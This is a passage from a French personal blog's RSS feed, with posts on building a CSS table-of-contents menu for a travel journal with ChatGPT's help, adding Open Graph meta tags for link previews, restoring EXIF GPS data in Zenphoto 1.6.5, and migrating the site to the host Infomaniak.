style=&#34;color:#ae81ff&#34;&gt;#444&lt;/span&gt;;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#66d9ef&#34;&gt;font-size&lt;/span&gt;: &lt;span style=&#34;color:#ae81ff&#34;&gt;0.8&lt;/span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;em&lt;/span&gt;;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;.&lt;span style=&#34;color:#a6e22e&#34;&gt;floating-menu-toc&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;h2&lt;/span&gt; {&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#x9;&lt;span style=&#34;color:#66d9ef&#34;&gt;list-style-type&lt;/span&gt;: &lt;span style=&#34;color:#66d9ef&#34;&gt;none&lt;/span&gt;;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#x9;&lt;span style=&#34;color:#66d9ef&#34;&gt;list-style-position&lt;/span&gt;: &lt;span style=&#34;color:#66d9ef&#34;&gt;inside&lt;/span&gt;;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#x9;&lt;span style=&#34;color:#66d9ef&#34;&gt;font-size&lt;/span&gt;: &lt;span style=&#34;color:#ae81ff&#34;&gt;0.9&lt;/span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;em&lt;/span&gt;;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#x9;&lt;span style=&#34;color:#66d9ef&#34;&gt;margin-top&lt;/span&gt;: &lt;span style=&#34;color:#ae81ff&#34;&gt;1&lt;/span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;em&lt;/span&gt;;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#x9;&lt;span style=&#34;color:#66d9ef&#34;&gt;margin-bottom&lt;/span&gt;: &lt;span style=&#34;color:#ae81ff&#34;&gt;0.5&lt;/span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;em&lt;/span&gt;;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#x9;&lt;span style=&#34;color:#66d9ef&#34;&gt;color&lt;/span&gt;: &lt;span style=&#34;color:#ae81ff&#34;&gt;#888&lt;/span&gt;;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;.&lt;span style=&#34;color:#a6e22e&#34;&gt;floating-menu-toc&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;h3&lt;/span&gt; {&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#x9;&lt;span style=&#34;color:#66d9ef&#34;&gt;list-style-type&lt;/span&gt;: &lt;span style=&#34;color:#66d9ef&#34;&gt;none&lt;/span&gt;;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#x9;&lt;span style=&#34;color:#66d9ef&#34;&gt;list-style-position&lt;/span&gt;: &lt;span style=&#34;color:#66d9ef&#34;&gt;inside&lt;/span&gt;;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#x9;&lt;span style=&#34;color:#66d9ef&#34;&gt;font-size&lt;/span&gt;: &lt;span style=&#34;color:#ae81ff&#34;&gt;0.8&lt;/span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;em&lt;/span&gt;;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#x9;&lt;span style=&#34;color:#66d9ef&#34;&gt;margin-top&lt;/span&gt;: &lt;span style=&#34;color:#ae81ff&#34;&gt;0&lt;/span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;em&lt;/span&gt;;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#x9;&lt;span style=&#34;color:#66d9ef&#34;&gt;margin-bottom&lt;/span&gt;: &lt;span style=&#34;color:#ae81ff&#34;&gt;1&lt;/span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;em&lt;/span&gt;;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#x9;&lt;span style=&#34;color:#66d9ef&#34;&gt;color&lt;/span&gt;: &lt;span style=&#34;color:#ae81ff&#34;&gt;#888&lt;/span&gt;;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;li&lt;/span&gt;#locations {&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#x9;&lt;span style=&#34;color:#66d9ef&#34;&gt;display&lt;/span&gt;: &lt;span style=&#34;color:#66d9ef&#34;&gt;inline&lt;/span&gt;;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#x9;&lt;span style=&#34;color:#66d9ef&#34;&gt;list-style-position&lt;/span&gt;: &lt;span style=&#34;color:#66d9ef&#34;&gt;inside&lt;/span&gt;;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#x9;&lt;span style=&#34;color:#66d9ef&#34;&gt;font-size&lt;/span&gt;: &lt;span style=&#34;color:#ae81ff&#34;&gt;0.8&lt;/span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;em&lt;/span&gt;;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#x9;&lt;span style=&#34;color:#66d9ef&#34;&gt;margin&lt;/span&gt;: &lt;span style=&#34;color:#ae81ff&#34;&gt;0&lt;/span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;px&lt;/span&gt;;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#x9;&lt;span style=&#34;color:#66d9ef&#34;&gt;line-height&lt;/span&gt;: &lt;span style=&#34;color:#ae81ff&#34;&gt;1&lt;/span&gt;;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;li&lt;/span&gt;#country {&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#x9;&lt;span style=&#34;color:#66d9ef&#34;&gt;list-style-image&lt;/span&gt;: url(&lt;span style=&#34;color:#e6db74&#34;&gt;images/puces-toc.png&lt;/span&gt;);&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#x9;&lt;span style=&#34;color:#66d9ef&#34;&gt;font-size&lt;/span&gt;: &lt;span style=&#34;color:#ae81ff&#34;&gt;1&lt;/span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;em&lt;/span&gt;;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#x9;&lt;span style=&#34;color:#66d9ef&#34;&gt;margin-left&lt;/span&gt;: &lt;span style=&#34;color:#ae81ff&#34;&gt;5&lt;/span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;px&lt;/span&gt;;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;.&lt;span style=&#34;color:#a6e22e&#34;&gt;floating-menu-toc&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;a&lt;/span&gt; {&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#66d9ef&#34;&gt;color&lt;/span&gt;: &lt;span style=&#34;color:#ae81ff&#34;&gt;#888&lt;/span&gt;;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;.&lt;span style=&#34;color:#a6e22e&#34;&gt;floating-menu-toc&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;a&lt;/span&gt;:&lt;span style=&#34;color:#a6e22e&#34;&gt;hover&lt;/span&gt; {&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#66d9ef&#34;&gt;color&lt;/span&gt;: &lt;span style=&#34;color:#ae81ff&#34;&gt;#24890d&lt;/span&gt;;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#66d9ef&#34;&gt;text-decoration&lt;/span&gt;:&lt;span style=&#34;color:#66d9ef&#34;&gt;underline&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;/* Médias queries pour gérer les petits écrans */&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;@&lt;span style=&#34;color:#66d9ef&#34;&gt;media&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;(&lt;/span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;max-width&lt;/span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;:&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;600px&lt;/span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;)&lt;/span&gt; {&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    .&lt;span style=&#34;color:#a6e22e&#34;&gt;container-toc&lt;/span&gt; {&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#66d9ef&#34;&gt;flex-direction&lt;/span&gt;: &lt;span style=&#34;color:#66d9ef&#34;&gt;column&lt;/span&gt;;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    }&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    .&lt;span style=&#34;color:#a6e22e&#34;&gt;sidebar-toc&lt;/span&gt; {&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#66d9ef&#34;&gt;width&lt;/span&gt;: &lt;span style=&#34;color:#ae81ff&#34;&gt;80&lt;/span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;%&lt;/span&gt;; &lt;span style=&#34;color:#75715e&#34;&gt;/* La colonne prend toute la largeur sur les petits écrans */&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#66d9ef&#34;&gt;margin-top&lt;/span&gt;: &lt;span style=&#34;color:#ae81ff&#34;&gt;20&lt;/span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;px&lt;/span&gt;; &lt;span style=&#34;color:#75715e&#34;&gt;/* Espacement entre le contenu et la sidebar */&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#66d9ef&#34;&gt;margin-left&lt;/span&gt;: &lt;span style=&#34;color:#ae81ff&#34;&gt;15&lt;/span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;px&lt;/span&gt;;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    }&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    .&lt;span style=&#34;color:#a6e22e&#34;&gt;floating-menu-toc&lt;/span&gt; {&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#66d9ef&#34;&gt;position&lt;/span&gt;: &lt;span style=&#34;color:#66d9ef&#34;&gt;static&lt;/span&gt;; &lt;span style=&#34;color:#75715e&#34;&gt;/* Le menu n&amp;#39;est plus flottant, il se place normalement */&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#66d9ef&#34;&gt;margin-top&lt;/span&gt;: &lt;span style=&#34;color:#ae81ff&#34;&gt;20&lt;/span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;px&lt;/span&gt;; &lt;span style=&#34;color:#75715e&#34;&gt;/* Espacement entre le contenu et le menu */&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    }&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id=&#34;conclusion&#34;&gt;Conclusion&#xA;&lt;/h3&gt;&lt;p&gt;Voilà, j&amp;rsquo;ai désormais un beau menu pour mon journal de voyage de 2018, et tout cela sans installer de nouvelles extensions, ce que je préfère.&lt;/p&gt;&#xA;&lt;p&gt;Quand je vais commencer mon journal de voyage de 2023, je devrais juste créer un nouveau fichier &lt;code&gt;template-asie-2023.php&lt;/code&gt;, puisque le contenu du menu y est indiqué en &amp;ldquo;dur&amp;rdquo;. C&amp;rsquo;est la seule contrainte, et elle est franchement minime.&lt;/p&gt;&#xA;&lt;p&gt;Et bravo à ChatGPT, j&amp;rsquo;ai franchement été très impressionné par sa facilité à créer exactement ce que je voulais.&lt;/p&gt;&#xA;</description>
        </item><item>
            <title>Open Graph pour partager  un article du blog</title>
            <link>https://pled.fr/open-graph-pour-partager-un-article-du-blog/</link>
            <pubDate>Thu, 05 Dec 2024 16:08:54 +0000</pubDate>
            <guid>https://pled.fr/open-graph-pour-partager-un-article-du-blog/</guid>
            <description>&lt;p&gt;&lt;img loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;opengraph.png#floatleft&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;L&amp;rsquo;autre jour, j&amp;rsquo;ai voulu partager une page du blog avec un ami, en utilisant WhatsApp, et je me suis rendu compte que le partage n&amp;rsquo;était pas fantastique, il n&amp;rsquo;y avait pas d&amp;rsquo;aperçu du lien comme on voit la plupart du temps, et je me suis demandé pourquoi. J&amp;rsquo;avais déjà remarqué cette limite de mon blog, sans jamais m&amp;rsquo;en occuper vraiment.&lt;/p&gt;&#xA;&lt;p&gt;Voilà ce que ça donnait : on a le &amp;ldquo;favicon&amp;rdquo; du blog, et aucun début du texte de l&amp;rsquo;article. Pas génial donc.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;452px&#34; data-flex-grow=&#34;188&#34; height=&#34;174&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://pled.fr/open-graph-pour-partager-un-article-du-blog/Capture-decran-du-2024-12-05-16-45-55.png&#34; width=&#34;328&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;En fait, c&amp;rsquo;est assez simple, tout est basé sur l&amp;rsquo;&lt;a class=&#34;link&#34; href=&#34;https://fr.wikipedia.org/wiki/Open_Graph_Protocol&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;Open Graph protocol&lt;/a&gt; (créé par Facebook). Il suffit d&amp;rsquo;ajouter quelques lignes de &lt;code&gt;metadata&lt;/code&gt; en haut de votre page web (dans le header), comme ceci par exemple :&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&amp;lt;meta property&lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;og:title&amp;#34;&lt;/span&gt; content&lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;titre de l&amp;#39;article&amp;#34;&lt;/span&gt;/&lt;span style=&#34;color:#ae81ff&#34;&gt;\&amp;gt;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&amp;lt;meta property&lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;og:type&amp;#34;&lt;/span&gt; content&lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;article&amp;#34;&lt;/span&gt;/&amp;gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&amp;lt;meta property&lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;og:url&amp;#34;&lt;/span&gt; content&lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;http://exemple.com/exemple-titre-article&amp;#34;&lt;/span&gt;/&amp;gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&amp;lt;meta property&lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;og:image&amp;#34;&lt;/span&gt; content&lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;http://exemple.com/article_thumbnail.jpg&amp;#34;&lt;/span&gt;/&amp;gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&amp;lt;meta property&lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;og:description&amp;#34;&lt;/span&gt; content&lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;Cet article présente le protocole Open Graph&amp;#34;&lt;/span&gt;/&amp;gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Plus d&amp;rsquo;infos sur le protocole peut être trouvé &lt;a class=&#34;link&#34; href=&#34;https://ogp.me/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;ici&lt;/a&gt;.&lt;/p&gt;&#xA;&lt;p&gt;Rien de très compliqué donc, on pourrait même le faire manuellement, mais le plus simple est encore d&amp;rsquo;utiliser un plugin qui va vous faire ça automatiquement. J&amp;rsquo;ai choisi &lt;a class=&#34;link&#34; href=&#34;https://wordpress.org/plugins/opengraph/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;Open Graph&lt;/a&gt;, simple et efficace.&lt;/p&gt;&#xA;&lt;p&gt;Et voilà ce que ça donne pour mon message :&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;452px&#34; data-flex-grow=&#34;188&#34; height=&#34;174&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://pled.fr/open-graph-pour-partager-un-article-du-blog/Capture-decran-du-2024-12-05-16-46-55.png&#34; width=&#34;328&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Voilà, mon blog vient de faire un pas vers le monde des réseaux sociaux ! :cry:&lt;/p&gt;&#xA;&lt;p&gt;Voilà une adresse bien pratique pour tester votre URL afin de voir si le problème ne vient pas d&amp;rsquo;ailleurs :&lt;/p&gt;&#xA;&lt;p&gt;&lt;a class=&#34;link&#34; href=&#34;https://iplocation.io/open-graph-checker&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://iplocation.io/open-graph-checker&lt;/a&gt;&lt;/p&gt;&#xA;</description>
        </item><item>
            <title>Zenphoto 1.6.5 et données EXIF des images</title>
            <link>https://pled.fr/zenphoto-1-6-5-et-donnees-exif-des-images/</link>
            <pubDate>Tue, 29 Oct 2024 15:29:14 +0000</pubDate>
            <guid>https://pled.fr/zenphoto-1-6-5-et-donnees-exif-des-images/</guid>
            <description>&lt;p&gt;&lt;img loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;zenphoto.png#floatleft&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;La version 1.6.5 de Zenphoto est sortie le 23 octobre dernier, et corrige le bug introduit avec la version précédente concernant les métadonnées des images. Je l&amp;rsquo;attendais avec impatience, puisque j&amp;rsquo;avais &lt;a class=&#34;link&#34; href=&#34;https://pled.fr/zenphoto-nouveau-theme-et-geolocalisation/&#34; &gt;changé de thème en 2021&lt;/a&gt; et intégré cette fonctionnalité de géolocalisation pour les photos, et qui ne fonctionnait plus à cause de ce bug !&lt;/p&gt;&#xA;&lt;p&gt;Et puisque j&amp;rsquo;utilise désormais le CMS proposé et géré par Infomaniak (mon nouvel hébergeur), je n&amp;rsquo;ai pas eu à faire la mise à jour moi-même. Aujourd&amp;rsquo;hui, la nouvelle version a été déployée, et je peux enfin profiter des données GPS de mon dernier voyage en Asie ! :cool:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;467px&#34; data-flex-grow=&#34;194&#34; height=&#34;329&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://pled.fr/zenphoto-1-6-5-et-donnees-exif-des-images/Capture-decran-du-2024-10-29-15-20-41.png&#34; width=&#34;641&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Il m&amp;rsquo;a suffit pour les albums créés avec la 1.6.4 d&amp;rsquo;aller dans le panneau d&amp;rsquo;administration de Zenphoto, et pour chaque album de cliquer sur le bouton &amp;ldquo;Actualiser les métadonnées de l&amp;rsquo;album&amp;rdquo; pour recharger ces fameuses données EXIF dans la base de données de Zenphoto.&lt;/p&gt;&#xA;&lt;p&gt;Et cette fois, toutes mes photos (ou presque) ont bien les données GPS : j&amp;rsquo;ai de bien meilleurs résultats avec le combi Pixel 6a/GrapheneOS/GCam qu&amp;rsquo;en 2018 où j&amp;rsquo;avais un Sony Xperia Z5 C et son application photo d&amp;rsquo;origine. C&amp;rsquo;est en partie de ma faute car j&amp;rsquo;avais du désactiver l&amp;rsquo;option GPS à un moment et oublié de la remettre après le Laos, mais tout de même, l&amp;rsquo;obtention de la position est manifestement beaucoup plus rapide désormais. Cette &lt;a class=&#34;link&#34; href=&#34;https://pled.fr/sony-xperia-z5-compact-une-mauvaise-experience-qui-se-termine-bien/&#34; &gt;expérience Sony&lt;/a&gt; avait d&amp;rsquo;ailleurs été assez mauvaise dans l&amp;rsquo;ensemble !&lt;/p&gt;&#xA;&lt;p&gt;Je passe donc de 11,76 % d&amp;rsquo;images avec données GPS (Asie 2018) à 96,09 % (Asie 2023) :&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;476px&#34; data-flex-grow=&#34;198&#34; height=&#34;420&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://pled.fr/zenphoto-1-6-5-et-donnees-exif-des-images/Capture-decran-du-2024-10-29-15-50-58.png&#34; srcset=&#34;https://pled.fr/zenphoto-1-6-5-et-donnees-exif-des-images/Capture-decran-du-2024-10-29-15-50-58_hu_946f4da134830192.png 800w, https://pled.fr/zenphoto-1-6-5-et-donnees-exif-des-images/Capture-decran-du-2024-10-29-15-50-58.png 833w&#34; width=&#34;833&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Voilà une bonne chose de faite. J&amp;rsquo;ai du revoir un peu le thème Zenji suite à la migration vers Infomaniak, je n&amp;rsquo;avais pas vérifié les modifications en CSS que j&amp;rsquo;avais apporté en 2021. Désormais c&amp;rsquo;est pas mal, et l&amp;rsquo;album n&amp;rsquo;est pas loin de ressembler à ce que je souhaite.&lt;/p&gt;&#xA;</description>
        </item><item>
            <title>Migration de mon site vers Infomaniak</title>
            <link>https://pled.fr/migration-de-mon-site-vers-infomaniak/</link>
            <pubDate>Thu, 29 Aug 2024 16:41:48 +0000</pubDate>
            <guid>https://pled.fr/migration-de-mon-site-vers-infomaniak/</guid>
            <description>&lt;figure&gt;&lt;img src=&#34;https://3k3ninbkmrl.preview.infomaniak.website/wp-content/uploads/2024/08/infomaniak.png&#34;&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&lt;p&gt;J&amp;rsquo;avais pris la décision l&amp;rsquo;année dernière de changer d&amp;rsquo;hébergeur, car l&amp;rsquo;actuel (One.com) commençait à me décevoir depuis quelque temps.&lt;/p&gt;&#xA;&lt;p&gt;En dehors du prix qui augmentait régulièrement chaque année, je recevais chaque année &lt;strong&gt;deux mois avant l&amp;rsquo;échéance&lt;/strong&gt; un mail me menaçant d&amp;rsquo;effacer toutes mes données car la carte de paiement de mon compte n&amp;rsquo;était plus valide. Et pour cause, j&amp;rsquo;utilise toujours une carte virtuelle à chaque échéance.&lt;/p&gt;&#xA;&lt;p&gt;C&amp;rsquo;est le genre de truc qui m&amp;rsquo;énerve, je paie chaque année sans aucun problème, mais &amp;ldquo;ce mail est automatique, ils ne peuvent rien y faire, je ne dois pas en tenir compte&amp;rdquo;. Très bien : je me suis dit que finalement j&amp;rsquo;allais en tenir compte en allant voir ailleurs si l&amp;rsquo;herbe était plus verte.&lt;/p&gt;&#xA;&lt;p&gt;Et j&amp;rsquo;ai choisi &lt;a class=&#34;link&#34; href=&#34;https://www.infomaniak.com/fr&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;Infomaniak&lt;/a&gt;, &amp;ldquo;The Ethical Cloud&amp;rdquo;, un hébergeur situé en Suisse (je rapatrie mes données en Europe ! :smile:). Ce n&amp;rsquo;est pas forcément l&amp;rsquo;offre la moins chère (je vais tout de même faire baisser la facture pour une meilleure offre), mais ils sont réputés pour leur sérieux, je les 